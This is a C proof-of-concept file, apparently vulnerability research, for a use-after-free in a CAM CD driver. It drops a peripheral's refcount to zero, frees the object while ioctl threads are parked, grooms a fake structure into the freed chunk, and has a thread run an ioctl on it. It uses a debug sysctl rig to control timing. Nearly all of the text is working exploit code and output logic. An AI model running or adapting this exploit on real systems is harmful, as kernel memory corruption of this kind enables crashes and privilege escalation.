/* DF-5327 PoC stage 2 (in-flight UAF into the attacker-groomed fake):
 *
 * With the refcount burned to 0 by the open/open/close protocol (see
 * poc_multopen.c), an ioctl thread parked between cam_extend_get() and
 * cam_periph_hold() holds NO reference.  The rig:
 *   1. gate=1  -- kthread takes the SIM lock, so the ioctl threads park
 *                 in cam_periph_lock() *after* fetching the periph pointer
 *   2. defer=1 -- SCSI completions are parked so the first ioctl thread
 *                 sleeps in cam_periph_ccbwait() (still no extra ref held
 *                 beyond its own cam_periph_hold -- which is exactly 1)
 *   3. gate=2  -- cam_periph_invalidate() with refcount==0 frees the
 *                 periph synchronously; the freed chunk is immediately
 *                 regroomed with a rig-chosen fake cam_periph
 *                 (refcount=0x41414141); SIM lock released
 *   4. the second parked thread resumes cam_periph_lock() on the FREED
 *                 chunk, reads periph->sim/path/softc from the fake, runs
 *                 cam_periph_hold() -> ++refcount ON FREED MEMORY, and
 *                 executes a full CD ioctl round trip on the fake object.
 *
 * rig evidence: debug.evilcd.postmortem -> uaf_hits>0 and
 * fakeref@hit=41414142 (the ++ landed in the freed chunk).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

static const char *devpath = "/dev/cd1";

static void
sysctl_set(const char *name, int v)
{
	size_t l = sizeof(v);

	if (sysctlbyname(name, NULL, NULL, &v, l) != 0)
		fprintf(stderr, "[poc] sysctl %s=%d failed: %s\n",
		    name, v, strerror(errno));
}

static int
refcnt(void)
{
	int v = -999;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0);
	return (v);
}

static char *
postmortem(void)
{
	static char buf[1024];
	size_t l = sizeof(buf);

	if (sysctlbyname("debug.evilcd.postmortem", buf, &l, NULL, 0) != 0)
		strlcpy(buf, "(sysctl failed)", sizeof(buf));
	return (buf);
}

int
main(void)
{
	int fd1, fd2, rc, st;

	fd1 = open(devpath, O_RDONLY);
	if (fd1 < 0)
		err(1, "open#1");
	fd2 = open(devpath, O_RDONLY);
	if (fd2 < 0)
		err(1, "open#2");
	close(fd2);
	rc = refcnt();
	printf("[poc] refcount after open/open/close: %d (want 0)\n", rc);
	if (rc != 0) {
		printf("[poc] FAIL: refcount not burned to 0\n");
		return (1);
	}

	/* park all SCSI IO (in-flight ioctls will sleep in ccbwait) */
	sysctl_set("debug.evilcd.defer", 1);

	/* park the SIM lock: new ioctl threads block in cam_periph_lock() */
	sysctl_set("debug.evilcd.gate", 1);
	sleep(1);

	/* T2: first ioctl -- parks at cam_periph_lock (gate holds ev_lock) */
	if (fork() == 0) {
		int fd = open(devpath, O_RDONLY);
		/* add one open ref? NO -- fd1 already covers refs; this fd's
		 * acquire/release is net-0 by the fixup (flag already set) */
		ioctl(fd, CDIOCPREVENT);
		pause();
		_exit(0);
	}
	sleep(1);

	/* T3: second ioctl -- also parks at cam_periph_lock */
	if (fork() == 0) {
		int fd = open(devpath, O_RDONLY);
		ioctl(fd, CDIOCPREVENT);
		printf("[poc] T3 ioctl returned (executed on fake periph)\n");
		fflush(stdout);
		_exit(0);
	}
	sleep(1);

	/* free the periph + groom the fake into the freed chunk */
	printf("[poc] gate=2: invalidate(refcount==0 -> camperiphfree) "
	    "+ regroom + release\n");
	sysctl_set("debug.evilcd.gate", 2);

	/* T3 now executes against the fake; T2 stays parked (deferred) */
	sleep(3);
	printf("[poc] postmortem: %s\n", postmortem());

	/* cleanup: release the deferred ccb is NOT wanted (T2 would then
	 * complete on freed objects and likely panic -- we leave it parked
	 * and just report). */
	waitpid(-1, &st, WNOHANG);
	printf("[poc] done (guest left with one parked ioctl thread by "
	    "design; reset before further use)\n");
	return (0);
}
